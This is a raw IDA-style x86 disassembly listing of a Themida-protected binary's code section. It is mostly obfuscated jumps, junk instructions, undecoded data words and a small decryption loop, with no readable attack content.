4EC8300h, 89240489h dd 0C1EBE9E0h, 7B05FFFFh, 108BF06h, 7BC7E9C7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5520BE: ; CODE XREF: Themida_:0054C11Ej sub edx, 38BB0A65h mov ebp, edx pop edx jmp loc_551C54 ; --------------------------------------------------------------------------- loc_5520CC: ; CODE XREF: Themida_:0054A18Fj pop esi loc_5520CD: ; CODE XREF: Themida_:0054FF43j push 4EEFh mov [esp], esi push esi mov esi, esp add esi, 4 push edx mov edx, 4 jmp loc_5502BF ; --------------------------------------------------------------------------- db 50h, 0B8h, 92h dd 3127487Fh, 58042444h, 7F923558h, 15F2748h, 58042444h dd 0FF3F39E9h, 74FF52FFh, 8F5A0424h, 93E92404h db 92h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552113: ; CODE XREF: Themida_:0054C6AFj sub ebp, 4E143AFh jmp loc_54C930 ; --------------------------------------------------------------------------- dw 8B66h dd 0EC81240Ch, 4, 89243489h, 4C681E6h, 52000000h, 4BAh dd 5AD62900h, 5C243487h, 54241C89h, 0FFD918E9h, 4C483FFh dd 3159CF89h, 2434FFF8h, 0FF8143E9h db 0FFh ; --------------------------------------------------------------------------- loc_552159: ; CODE XREF: Themida_:005524D2j add edx, 4 sub edx, 4 jmp loc_548940 ; --------------------------------------------------------------------------- db 1 dd 7D48E9E9h, 8CBEFFFFh, 810B1908h, 687F6FC6h, 0B6C6810Bh dd 0E973853Bh, 0FFFF9137h, 409DE953h, 3431FFFFh, 24343324h dd 0E924248Bh, 0FFFFD610h, 0E8F04D35h, 58C20118h, 78DB68h dd 241C8900h, 664CD1BBh, 6708E933h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5521B2: ; CODE XREF: Themida_:005516F0j xchg eax, [esp] pop esp loc_5521B6: ; CODE XREF: Themida_:0054DE36j push 3691h mov [esp], ebp push 5779h mov [esp], ecx mov ecx, ebx mov ebp, ecx push dword ptr [esp] jmp loc_54F55B ; --------------------------------------------------------------------------- dw 0C481h dd 4, 5FE9C231h, 0BEFFFF3Eh, 7D2549A2h, 67BDCE81h, 0EE815CC9h dd 3DD80F5Fh, 815EF189h, 0EA9FCCC1h, 0BAC181BFh, 10F3B25h dd 0BAE981F9h, 30F3B25h, 240C8B01h, 58EF68h, 242C8900h dd 0BE56E589h, 44764A1h, 649DEE81h, 0F5010447h, 0E46CE95Eh dd 8166FFFFh, 66D5DDC3h, 54E9DF09h, 0BBFFFFF5h, 7BD907E6h dd 0EB83D3F7h, 0FFC381FFh, 0E9FFFFFFh, 0FFFFEC27h, 8904EC83h dd 8B54241Ch, 6C68241Ch, 8900001Ch, 0E2892414h, 4C281h dd 0C2810000h, 4, 0FFFE94E9h, 3DC8E9FFh, 0E95AFFFFh, 0FFFF6956h ; --------------------------------------------------------------------------- loc_55227C: ; CODE XREF: Themida_:00551DB1j pop ebx pop ebp push edi sub dword ptr [esp], 22C0629Ah pop eax sub esp, 4 jmp loc_546DFE ; --------------------------------------------------------------------------- dw 0CB28h dd 0FFA7E5E9h, 55E689FFh, 4BDh, 6D75E900h, 0C15FFFFFh dd 23E906EFh, 89FFFFA1h, 4C381E3h, 83000000h, 1C8704C3h dd 52665C24h, 0D30092B2h, 0EC835A66h, 0C896602h, 0E977B124h dd 0FFFF4902h ; --------------------------------------------------------------------------- loc_5522D4: ; CODE XREF: Themida_:0054D07Dj sub eax, ecx pop ecx add eax, 0CC17E9A1h mov esi, eax push dword ptr [esp] mov eax, [esp] push edx jmp loc_54A7A4 ; --------------------------------------------------------------------------- dw 148Bh dd 4C48324h, 0FFAF4CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5522F5: ; CODE XREF: Themida_:0054C25Fj add esp, 4 push edi mov edi, 3567F7Eh sub edi, 2D6655F6h jmp loc_54C1DC ; --------------------------------------------------------------------------- loc_552309: ; CODE XREF: Themida_:0054EA99j add esp, 4 jmp loc_54F1D9 ; --------------------------------------------------------------------------- db 0ADh, 81h, 0ECh dd 4, 0BD242C89h, 7F7D7E3Ah, 0FF6F8FE9h, 24EB81FFh, 1F922D6h dd 89505BDEh, 405E0h, 0D2680000h, 89000046h, 4BD242Ch dd 5000000h, 50B457DDh, 0DD2DE829h, 8B50B457h, 0C481242Ch dd 4, 0FFCE74E9h, 76EF81FFh, 3102A716h, 524B5FFBh, 7F2A68h dd 6194E900h, 66ACFFFFh, 287DB252h, 0E435E9D0h, 0E829FFFFh dd 81242C8Bh, 4C4h, 58C33100h, 0FF8245E9h, 0D7E956FFh db 5Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552397: ; CODE XREF: Themida_:0054DC60j pop esi add ebx, 97BBFC86h jmp loc_546879 ; --------------------------------------------------------------------------- db 0B9h dd 4, 0FF564CE9h db 0FFh ; --------------------------------------------------------------------------- loc_5523AD: ; CODE XREF: Themida_:00549016j jnz loc_5475CD push 1 jmp loc_5502D0 ; --------------------------------------------------------------------------- db 54h, 8Bh, 34h dd 47E4E924h, 30ACFFFFh, 0CE84E9D8h, 0C89FFFFh, 9E56E924h dd 0E6B4FFFFh, 0FF7067E9h, 18B951FFh, 0F717DA2Eh, 0C18141D9h dd 29172875h, 0FA5AF181h, 0CF01113Ch, 243C8759h, 0EBBF575Ch dd 0E93E786Fh, 0FFFF99E3h ; --------------------------------------------------------------------------- loc_552404: ; CODE XREF: Themida_:00548231j mov bl, 65h push eax mov ah, 0A3h sub ah, 0E2h sub bl, ah pop eax add bl, dh add bl, 0C1h pop edx push dx push eax mov al, 0D9h mov dl, al mov eax, [esp] add esp, 4 push edx mov dh, 21h not dh add dh, 57h or dh, 4Ch xor dh, 0FCh sub bl, dh pop edx sub bl, dl add bl, 81h jmp loc_551765 ; --------------------------------------------------------------------------- dd 28E9E589h, 54FFFFA3h, 0E764E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55244E: ; CODE XREF: Themida_:0054B038j push 555h mov [esp], edi push esp pop edi add edi, 4 add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp push 3BA8h mov [esp], edx push ebp jmp loc_550D1F ; --------------------------------------------------------------------------- dd 0A5E5E95Bh, 0E959FFFFh, 0FFFF795Ah, 0D224248Bh, 0E99C2424h dd 0FFFFC546h ; --------------------------------------------------------------------------- loc_552494: ; CODE XREF: Themida_:005508AFj sub ebx, 638735C6h pop edx mov dword ptr [ebx], 0 mov ebx, [esp] jmp loc_55149D ; --------------------------------------------------------------------------- loc_5524A9: ; CODE XREF: Themida_:005472D1j push ecx mov esi, [esp] add esp, 4 mov ecx, [esp] add esp, 4 and eax, esi mov esi, [esp] add esp, 4 or eax, eax jz loc_550C32 push dword ptr [edi+28h] push edx mov edx, esp jmp loc_552159 ; --------------------------------------------------------------------------- db 1 aUo9mnz db 'uŽ9mNZ',0 db 81h dd 0FAFA6CE2h, 5A59h, 0EB000000h, 3CC08108h, 76200E1h dd 2000002h, 1000000h, 6000000h, 81000000h, 0FA6CE2h, 4 dup(0) dd 75000000h, 4B0055FFh, 75005568h, 38005646h, 0A2005593h dd 0B50055A0h, 2700559Bh, 770055A9h, 64005622h, 0CF005530h dd 0BF005603h, 61005596h, 0E200563Fh, 98005639h, 0B100562Bh dd 7500552Ch, 0C10055B5h, 62005635h, 2A00559Fh, 18005606h dd 420055B2h, 1B00557Ah, 5005624h, 0F100564Dh, 500055BCh dd 51005644h, 6000556Bh, 5F0055B9h, 92005622h, 68005655h dd 0D5005573h, 96005532h, 39005661h, 6E00566Fh, 0D1005647h dd 0D9005566h, 50005599h, 6900557Ah, 0C100555Eh, 2A005613h dd 1500563Dh, 0AD005659h, 0E8005620h, 0EB005575h, 0CE005560h dd 70005593h, 0FE005665h, 21005616h, 5500560Bh, 0DD00558Bh dd 0E600552Fh, 7D0055F8h, 0E1005543h, 7C005631h, 35005567h dd 62005671h, 59005677h, 0E005537h, 0AC005564h, 9E00566Fh dd 5200565Dh, 0C50055D1h, 6E00559Ch, 0CA005624h, 3A005658h dd 0D800561Ah, 41005608h, 400567Bh, 0AA0055AAh, 0C100564Fh dd 3F005573h, 0B8005547h, 7D0055D0h, 51005553h, 5400559Fh dd 1F00554Bh, 0EC00567Bh, 0AE0055DDh, 0D80055B6h, 100560Fh dd 9300558Bh, 2300556Fh, 930055CEh, 0F800552Dh, 7400561Eh dd 0A005564h, 800055E2h, 0DA005593h, 3500556Ah, 0A00566Bh dd 0D900563Eh, 8C005597h, 0AB00566Eh, 5800558Fh, 340055BAh dd 2A00566Ah, 2E00554Ah, 0E005645h, 0DF0055EFh, 0D0055D7h dd 3600554Bh, 0C60055A6h, 0FB005631h, 0FC00553Fh, 0D70055CCh dd 1F0055A8h, 27005670h, 23005665h, 0A4005571h, 0AE00566Ah dd 0F500557Eh, 1100560Bh, 7500559Eh, 0AC005580h, 10055E0h dd 4000552Bh, 200055B0h, 370055D2h, 0C800557Ah, 2100554Ch dd 550055FEh, 36005616h, 390055D8h, 1E0055ABh, 73005592h dd 19005587h, 0E900559Ch, 34005641h, 88005636h, 53005593h dd 2F005598h, 8C005531h, 0E6005625h, 0FE0055EBh, 0FB005554h dd 53005666h, 77005573h, 7D005538h, 0EE005530h, 8B005570h dd 970055B3h, 7B0055CAh, 2400554Eh, 530055B4h, 44005637h dd 5B005622h, 0BD0055DDh, 0CD0055C4h, 3800554Bh, 0E4005567h dd 0EF00563Fh, 0D0005577h, 6C005567h, 650055D9h, 0A4005565h dd 0EB005560h, 44005660h, 4C005671h, 3A00556Dh, 14005584h dd 0D70055A2h, 44005637h, 0C700560Dh, 74005613h, 84005595h dd 0BE005612h, 20055E5h db 83h, 55h, 0 ; --------------------------------------------------------------------------- loc_5527B7: ; CODE XREF: Themida_:005942E9j ; Themida_:0059E852j pusha pushf cld call $+5 pop edi sub edi, 5E8453Eh mov eax, edi add edi, 5E84256h cmp eax, [edi+2Ch] jnz short loc_5527D5 jmp short loc_5527E8 ; --------------------------------------------------------------------------- loc_5527D5: ; CODE XREF: Themida_:005527D1j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_5527E4 ; --------------------------------------------------------------------------- loc_5527DF: ; CODE XREF: Themida_:005527E6j add [edi+ecx*4+40h], eax dec ecx loc_5527E4: ; CODE XREF: Themida_:005527DDj or ecx, ecx jnz short loc_5527DF loc_5527E8: ; CODE XREF: Themida_:005527D3j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_5527F5: ; CODE XREF: Themida_:005527FCj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_5527F5 loc_5527FE: ; CODE XREF: Themida_:0055334Ej ; Themida_:0055494Aj ... lodsb xor al, bl push ebx push esp pop ebx push ecx mov ecx, 5D805808h add ecx, 164E14B4h not ecx push eax mov eax, 0FFFFFFFFh sub ecx, 4B906F84h add ecx, eax add ecx, 4B906F84h pop eax dec ecx jmp loc_562065 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0FA4AE9h, 0B0E95700h, 81000127h, 4ECh, 24348900h, 42474FFh dd 24048F5Eh, 0EF47E9h, 6E8C100h, 8C54E9h, 58C38800h, 6604EBC0h dd 46CAE951h, 14330001h, 0B6685C24h, 8900003Eh, 7DB3241Ch dd 763BE9h, 0FFF08900h, 835E2434h, 0C78104C4h, 631D6C5Dh dd 0EF81C729h, 631D6C5Dh, 0B3FEE9h, 4CFABF00h, 0D7F762C6h dd 35FDF781h, 0CF812ACBh, 201C205Ah, 0DFF78147h, 0E99767D8h dd 0F6F0h, 0A5B85051h, 4803125Bh, 4006E8C1h, 70DE8D2Dh dd 93C6B98Dh, 0C129D702h, 8124048Bh, 4C4h, 63E94100h, 5B00013Fh dd 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 0FF241489h, 5A042474h dd 8B24048Fh, 0C4832424h, 2DE06804h, 0C890000h, 265F6824h dd 0C1595B28h, 0E1C108E9h, 0B3E95508h, 540000D9h, 8124148Bh dd 4C4h, 4B85000h, 51000000h, 14AC0E9h db 0 ; --------------------------------------------------------------------------- loc_55292D: ; CODE XREF: Themida_:00565FB0j and ecx, 131452AEh push esi mov esi, 90174C9h add esi, 6AF0FC65h xor ecx, esi pop esi jmp loc_564D87 ; --------------------------------------------------------------------------- loc_552947: ; CODE XREF: Themida_:0055BE6Fj mov ebp, eax jmp loc_563CDB ; --------------------------------------------------------------------------- dw 0E981h dd 6B9A281Eh, 0FB5FC181h, 0BEE9883Ah db 9Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55295F: ; CODE XREF: Themida_:005657B5j mov edi, 200826D8h sub ebx, edi pop edi shr ebx, 6 push ecx mov ecx, 5DD84464h add ebx, ecx jmp loc_55997C ; --------------------------------------------------------------------------- db 5Ch dd 4A9FBA52h, 0EA813670h, 4EF010D6h, 39C5EA81h, 0D701E780h dd 0D747E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_552992: ; CODE XREF: Themida_:0055BA1Aj add dword ptr [esp+4], 4F41212Bh jmp loc_563A1D ; --------------------------------------------------------------------------- loc_55299F: ; CODE XREF: Themida_:00563D90j push dword ptr [esp] mov eax, [esp] sub esp, 4 mov [esp], eax sub esp, 4 jmp loc_55C341 ; --------------------------------------------------------------------------- loc_5529B6: ; CODE XREF: Themida_:005613B7j xor ebx, 925C0C5Ah mov eax, ebx pop ebx mov edx, eax jmp loc_5572E0 ; --------------------------------------------------------------------------- aSij db '(×驦',0 dd 240C3300h, 8124248Bh, 0CD002FC2h, 0E6BD554Fh, 29472B04h dd 0E9535DEAh, 5BA0h ; --------------------------------------------------------------------------- loc_5529E8: ; CODE XREF: Themida_:005572B3j mov edi, 0D247937h add edi, 6D43C7B9h sub ebp, 3FEE5547h sub ebp, edi jmp loc_55CA8B ; --------------------------------------------------------------------------- dd 0D8205966h, 81241C8Bh, 4C4h, 52636800h, 1C890000h, 4EC8124h dd 89000000h, 0C5E9243Ch db 0B1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552A23: ; CODE XREF: Themida_:00567248j push ebx mov ebx, 57860ACDh jmp loc_560AB4 ; --------------------------------------------------------------------------- dw 0E9B9h dd 81367327h, 782225C1h, 0AFF1817Eh, 57764065h, 0AB2FA5BFh dd 5FF931C2h, 1E9CB01h db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552A4F: ; CODE XREF: Themida_:005535BCj add ebp, 6DC33BCh pop esi push edx jmp loc_55B593 ; --------------------------------------------------------------------------- aS_7 db 'ÑêéÖ',7,0 dw 100h aZhri db 'ÐZhi',0 dw 8900h dd 0C0BB241Ch, 0E9743D7Bh, 13827h, 7B3298BEh, 8BF0892Eh dd 0C4812434h, 4, 4246C81h, 319D7959h, 4244429h, 4244481h dd 319D7959h, 24048B58h, 4EC81h, 34890000h, 495E924h, 89530001h dd 4C381E3h, 81000000h, 4EBh, 241C8700h, 241C895Ch, 542C7DB7h dd 5261B753h, 0D2F6CBB2h, 0E280C2FEh, 34C28002h, 285AD700h dd 241C8BF8h, 2C04C483h, 88B353AEh, 0DCD1E9h, 0B2E95A00h dd 0C100012Dh, 0F18108E1h, 7DEC2807h, 1169EE9h, 0AA04AC00h dd 77B55166h, 69A168h, 240C8900h, 53527BB1h, 48B15166h dd 5966CF88h, 4EC81h, 0C890000h, 88F98824h, 8AE959CEh db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552B2F: ; CODE XREF: Themida_:0055C806j pop esp jmp loc_565499 ; --------------------------------------------------------------------------- loc_552B35: ; CODE XREF: Themida_:0055463Dj pop esp jmp loc_558B27 ; --------------------------------------------------------------------------- db 81h dd 64F13EDh, 5DEA21D3h, 0E9A0E9h db 0 ; --------------------------------------------------------------------------- loc_552B49: ; CODE XREF: Themida_:005617DBj mov [esp], esi mov esi, 3472532Dh xchg edx, esi sub edx, 1 xor esi, edx jmp loc_55D424 ; --------------------------------------------------------------------------- dd 0D0286DB2h, 0F0285A66h, 0E95A6D04h, 8895h, 73E9D329h db 9, 1, 0 ; --------------------------------------------------------------------------- loc_552B77: ; CODE XREF: Themida_:005562A9j pop ebx jmp loc_55E46E ; --------------------------------------------------------------------------- loc_552B7D: ; CODE XREF: Themida_:00561B47j sub esi, edi pop edi jmp loc_558529 ; --------------------------------------------------------------------------- loc_552B85: ; CODE XREF: Themida_:00560D8Cj sub al, 5Dh jmp loc_562109 ; --------------------------------------------------------------------------- dd 0EF1483B8h, 22E94865h, 1000119h, 240C8BC8h, 4CB3E956h db 1, 0 ; --------------------------------------------------------------------------- loc_552BA2: ; CODE XREF: Themida_:00552F45j jmp loc_55710E ; --------------------------------------------------------------------------- db 81h dd 0F704246Ch, 29221750h, 8104244Ch, 0F7042444h, 0E9221750h dd 10C33h, 0E9DEF658h, 66F5h, 0C681E689h, 4, 4C681h, 0FF560000h dd 5E042474h, 0E924048Fh, 912Eh, 2155EA81h, 0EA813EE5h dd 641F4990h, 0E95AD389h, 11E36h ; --------------------------------------------------------------------------- loc_552BF8: ; CODE XREF: Themida_:005666D8j push ecx push eax push ecx mov cl, 0FDh xor cl, 6Dh shr cl, 3 shr cl, 7 push eax jmp loc_558CB7 ; --------------------------------------------------------------------------- dd 34FFD701h, 24148B24h, 8904EC83h, 0E2892414h, 4C281h dd 0BB530000h, 4, 0ACE9DA01h, 0B2FFFFFCh, 8BD5283Eh, 89512414h dd 4C181E1h, 81000000h, 4C1h, 240C8700h, 0B8ED805Ch, 0C580E528h dd 3EC580B8h, 14179E9h, 24248B00h, 8649E9h db 0 ; --------------------------------------------------------------------------- loc_552C61: ; CODE XREF: Themida_:00553CD9j pop edi jmp loc_567057 ; --------------------------------------------------------------------------- db 54h dd 11515E9h, 0D40500h, 685F3EC9h, 4BB2h, 0E9240C89h, 134Dh ; --------------------------------------------------------------------------- loc_552C80: ; CODE XREF: Themida_:00563FCAj push edx jmp loc_554581 ; --------------------------------------------------------------------------- dw 0C381h dd 215923D8h, 97EBA52h, 0E95003E5h, 7A0Fh, 58E95D2Ch, 5E000034h dd 4C481h, 0EA810000h, 2B345100h, 0B0EAE9h, 0C8B6600h dd 3C3C6824h, 3C890000h, 53E78924h, 4BBh, 8BDF0100h, 0C483241Ch dd 4EC8304h, 0B8240489h, 76C20A5Eh, 2427725h, 30740D7Eh dd 35487119h, 228A5122h, 3502E8C1h, 33852D7Bh, 0BC3EB035h dd 11472578h, 0D8E96276h db 68h, 2 dup(0) ; --------------------------------------------------------------------------- loc_552CFF: ; CODE XREF: Themida_:00564E44j pop esi xor edx, 478850C2h mov ecx, edx mov edx, [esp] add esp, 4 xor [esp+4], ecx pop ecx mov eax, [esp] push ebp sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_55C760 ; --------------------------------------------------------------------------- db 51h, 68h, 2Eh dd 5968E31Ah, 14D9BE9h, 197CBB00h, 0DE298D45h, 0FFF0315Bh dd 34FF2434h, 0C4815E24h, 4, 81E18951h, 4C1h, 4C18300h dd 5C240C87h, 5FC268h, 243C8900h, 132BFE9h, 0C2B25200h dd 0F606E280h, 0E9CAFEDAh, 20C6h, 55328A68h, 6E9583Eh db 1Bh, 1, 0 ; --------------------------------------------------------------------------- loc_552D8B: ; CODE XREF: Themida_:0055E461j add ebp, edx pop edx jmp loc_55EB1A ; --------------------------------------------------------------------------- db 66h dd 51240C8Bh, 14C568h, 0DAE95400h, 5000003Fh, 0D534E9h dd 240C3300h, 0BB0F665Ch, 0E99C2404h, 0FFFFFA46h, 1C8BD801h dd 4C48124h, 5000000h, 196F0C46h, 462DD829h, 83196F0Ch dd 148904ECh, 4D86BA24h, 1E9329Fh, 0BE00007Bh, 5924801h dd 6E45E9h, 3EAC000h, 0EA80DAF6h, 7FB05044h, 404E8C0h dd 0E95166A8h, 3A77h, 241C8966h, 14C768h, 6A4E900h db 1, 0 ; --------------------------------------------------------------------------- loc_552E0E: ; CODE XREF: Themida_:00560E7Fj add ebx, 25243A9h xor ebx, 3323423Fh jmp loc_565B5F ; --------------------------------------------------------------------------- loc_552E1F: ; CODE XREF: Themida_:00553299j push ebx mov bl, 0D9h dec bl not bl shr bl, 6 push dx mov dl, 61h add bl, dl pop dx xor bl, 3Eh push edx jmp loc_559B28 ; --------------------------------------------------------------------------- dw 0ED81h dd 13BD6D76h, 44BEE95Bh, 0C4830001h, 0C0C78104h, 12A8472h dd 0C0EF81CFh, 812A8472h, 7C55ECEFh, 0B60F597Fh, 8734FFC0h dd 4EC81h, 34890000h, 7738BE24h, 0E9537691h, 0F6D4h, 0E9242489h dd 6DD4h, 33241C31h, 248B241Ch, 25216824h, 6E90000h, 8B000124h dd 48F2424h, 24248B24h, 0C8B60F66h, 4EC8151h, 0E9000000h dd 0C7A3h, 8904EC83h, 3C682414h, 89000041h, 0BB53240Ch dd 9F15422h, 2933F381h, 0C38147C9h, 235C06C0h, 1DC38143h dd 89A7F6B6h, 0BF575BD9h, 50925D5Ah, 815FF901h, 7E4B90C1h dd 4735684Eh, 0C890000h, 6A23E924h, 0E9510000h, 0F12Bh dd 515DEB01h, 7F5801B9h, 76AFE957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_552F06: ; CODE XREF: Themida_:005629AAj xchg ecx, [esp] pop ecx sub ecx, 0EF645EF2h sub eax, 42E23115h sub eax, ecx add eax, 42E23115h pop ecx add eax, 168667F5h sub eax, ebp sub eax, 168667F5h add eax, 0A654383h pop ebp add eax, edi add eax, 71204B9Eh xor dword ptr [eax], 51052637h mov eax, [esp] add esp, 4 jmp loc_552BA2 ; --------------------------------------------------------------------------- loc_552F4A: ; CODE XREF: Themida_:0055959Aj not ebp jmp loc_55479E ; --------------------------------------------------------------------------- db 0B9h, 0Dh, 7 dd 0EB811CF7h, 4DD1298Dh, 0C381CB01h, 4DD1298Dh, 0E9FB0159h dd 13EDDh, 525CE581h, 0E5C15511h, 0FFC58305h, 7266ED81h dd 0E5C13169h, 0EFF58103h, 29235CF6h, 2EA9E9E9h, 0FD290000h dd 0A0C5815Fh, 687E2AC9h, 64B3h, 0BD242C89h, 140D07EBh dd 11B0C781h, 0EF290CB2h, 11B0EF81h, 505D0CB2h, 0C24AB3B8h dd 9148E97Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_552FBE: ; CODE XREF: Themida_:0055390Aj xor ebx, 73022F52h sub ebx, 25D46F50h add ebx, 0E8CF4388h add eax, ebx mov ebx, [esp] add esp, 4 jmp loc_5658DB ; --------------------------------------------------------------------------- db 64h, 66h, 8Bh dd 0B2686602h, 489663Fh, 0F810E924h, 1068FFFFh, 5936922Dh dd 23E7F181h, 0E9816E24h, 0EF4ADAB4h, 0E959C889h, 61CFh dd 89241C89h, 0E9D889F3h, 0C685h, 9683DBAh, 1E7EE974h db 1, 0 ; --------------------------------------------------------------------------- loc_55301E: ; CODE XREF: Themida_:0055F601j add dword ptr [esp+4], 38FC15C4h jmp loc_5615F7 ; --------------------------------------------------------------------------- db 66h dd 2261E958h, 665B0001h, 0E9240C8Bh, 12BD9h ; --------------------------------------------------------------------------- loc_55303C: ; CODE XREF: Themida_:0055E5B9j add ebx, 4 jmp loc_554FDC ; --------------------------------------------------------------------------- db 81h dd 807000C3h, 0F9E95976h db 19h, 1, 0 ; --------------------------------------------------------------------------- loc_553053: ; CODE XREF: Themida_:00558181j push ecx mov ecx, 7C66316Dh xor ecx, 6D033F7Ch jmp loc_566341 ; --------------------------------------------------------------------------- dd 5A2434FFh, 0E2895251h, 4C281h, 0EA810000h, 4, 14085E9h dd 248B6600h, 0F778E924h, 0D387FFFFh, 80EEE9h db 0 ; --------------------------------------------------------------------------- loc_55308D: ; CODE XREF: Themida_:0055D0CEj pop esp mov [esp], edx mov edx, 10h jmp loc_565D46 ; --------------------------------------------------------------------------- loc_55309B: ; CODE XREF: Themida_:0055956Fj jz loc_55F1EB push dword ptr [edi+1Ch] jmp loc_566115 ; --------------------------------------------------------------------------- db 81h, 0CFh, 4Eh dd 8176EE7Ch, 0F44F85F7h, 6DC78154h, 164F7E5h, 0F5015FFEh dd 0FCF5815Eh, 817FD5C5h, 592C1DEAh, 0A5C28171h, 0E9155E0Ah dd 705Ch ; --------------------------------------------------------------------------- loc_5530D8: ; CODE XREF: Themida_:00564821j push dword ptr [esp] pop ebx add esp, 4 push eax push esp pop eax add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax jmp loc_563CC6 ; --------------------------------------------------------------------------- loc_5530F8: ; CODE XREF: Themida_:005632D6j push ebp mov ebp, esp add ebp, 4 add ebp, 2 jmp loc_559025 ; --------------------------------------------------------------------------- db 0B3h, 16h, 28h dd 285B66DCh, 16C480FCh, 1CE4805Bh, 0B4505166h, 31B1F6h dd 0CC0858E1h, 0C4805966h, 0CEE952C2h, 8B0000FDh, 0C7E92424h dd 29FFFFF6h, 2434FFD8h, 83241C8Bh, 0C48304C4h, 4D3DE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55314A: ; CODE XREF: Themida_:00567593j push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_557103 ; --------------------------------------------------------------------------- db 0B9h, 44h, 17h dd 88E91E15h, 53FFFFF9h, 0F38075B3h, 0ECE8E95Fh, 14890000h dd 0F668B624h, 885066D6h, 88F188C8h, 48B66C6h, 7B35E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55318E: ; CODE XREF: Themida_:0055D41Fj add esp, 4 mov ebx, [esp] push ebp mov ebp, esp jmp loc_5657C0 ; --------------------------------------------------------------------------- dd 50243489h, 25CEBB8h, 46602D26h, 0C0D2230h, 0D197504h dd 7C1B7346h, 0FD6ADF2Dh, 0F3140544h, 0C689C4FDh, 8124048Bh dd 4C4h, 24740100h, 34FF5E04h, 0C4835F24h, 5F545704h, 4C781h dd 0EF830000h, 931E904h, 0CF010000h, 5E87C781h, 0C8B7DABh dd 0E0895024h, 405h, 4C08300h, 5C240487h, 31243C33h, 0FCE9243Ch dd 5F000090h, 26E968h, 24048900h, 0B9E9D088h, 8B00007Eh dd 0EE92434h, 29000000h, 0EF8158C1h, 7DAB5E87h, 0FFFFB5E9h dd 4C483FFh, 0C661E9h, 0F2F28100h, 1236FEEh, 2434FFD7h dd 4D0E95Ah, 525C0001h, 0B9A3E9h, 24148900h, 128E3E9h dd 4EC8100h, 89000000h, 63E92404h, 810000CCh, 4C3h, 4B95100h dd 1000000h, 1C8759CBh, 0B71E924h, 4BE0001h, 53000000h dd 542B0ABBh, 0E9D38709h, 2056h ; --------------------------------------------------------------------------- loc_553290: ; CODE XREF: Themida_:00557F67j add esp, 4 add bl, al push eax jmp loc_552E1F ; --------------------------------------------------------------------------- dw 1C89h aIuhse db '$‰ãhéE',0 align 4 dd 0B9240C89h, 4, 2681BE56h, 0EE877245h, 0EE87D5F7h, 0F681DEF7h dd 4A8666A5h, 0E907E6C1h, 289Ah, 582404FFh, 0AAD1E9h, 2434FF00h dd 0E924048Bh, 0B800h, 24BF57h, 51570000h, 0C96B6EB9h dd 244C3140h, 81595904h, 0C96B6EF1h, 88685F40h, 89000041h dd 0BE56240Ch, 30544357h, 4247401h, 4591E9h db 0 ; --------------------------------------------------------------------------- loc_553311: ; CODE XREF: Themida_:00562E7Aj xor edx, 0F003B6Bh jmp loc_56326E ; --------------------------------------------------------------------------- loc_55331C: ; CODE XREF: Themida_:0055EC98j mov ebp, [esp] push ebp mov ebp, esp push eax mov eax, 5A1335ADh sub eax, 5A1335A9h sub ebp, 7965778Fh add ebp, eax jmp loc_563438 ; --------------------------------------------------------------------------- loc_55333A: ; CODE XREF: Themida_:005579DAj pop esi add ecx, esi push dword ptr [esp] pop esi add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp jmp loc_5527FE ; --------------------------------------------------------------------------- db 5Ah dd 0E9F0EB80h, 0F1BFh, 0FFF49DE9h db 0FFh ; --------------------------------------------------------------------------- loc_553361: ; CODE XREF: Themida_:0055C845j and ecx, edx mov edx, [esp] add esp, 4 inc ecx sub ecx, 3D38253Dh push 4C19h mov [esp], edx jmp loc_557B94 ; --------------------------------------------------------------------------- aXsc db '!ÇXé—{',0 align 4 loc_553388: ; CODE XREF: Themida_:0055EF7Fj mov edx, 75AE77C4h add esi, edx mov edx, [esp] add esp, 4 jmp loc_565B7C ; --------------------------------------------------------------------------- db 57h, 0BFh, 4Fh dd 8126347Eh, 3A2716F7h, 0C5E94F01h db 28h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5533AF: ; CODE XREF: Themida_:00553963j pop esp push dword ptr [esp] mov ecx, [esp] jmp loc_559340 ; --------------------------------------------------------------------------- db 5 dd 31041F55h, 552DD029h, 5A31041Fh, 0C158C289h, 0B85008E2h dd 4D0D1BCCh, 47B9BF57h, 0F82126F7h, 0BC05405Fh, 0F7650C1Dh dd 0F52D40D8h, 17E2ABAh, 0CDF5E9C2h, 0E6810000h, 29EC5B98h dd 48EFEE81h, 0D6F7755Eh, 0D9E9DEF7h, 81000076h, 4C4h dd 3920E900h, 0E9500000h, 2C53h, 68242C89h, 0D545850h dd 45CAE95Dh db 1, 0 ; --------------------------------------------------------------------------- loc_553426: ; CODE XREF: Themida_:005575F7j xor ebp, 0FC9C9CA1h mov ebx, ebp pop ebp jmp loc_55CBBB ; --------------------------------------------------------------------------- dd 6A9FBF57h, 5DE90CDCh db 0E1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55343F: ; CODE XREF: Themida_:0055596Bj push edx mov edx, 4 jmp loc_55480E ; --------------------------------------------------------------------------- dw 0C681h dd 4, 4BB53h, 0DE010000h, 429DE95Bh db 1, 0 ; --------------------------------------------------------------------------- loc_55345E: ; CODE XREF: Themida_:0055A32Aj inc al push 1C0Fh jmp loc_565A70 ; --------------------------------------------------------------------------- dw 0B951h 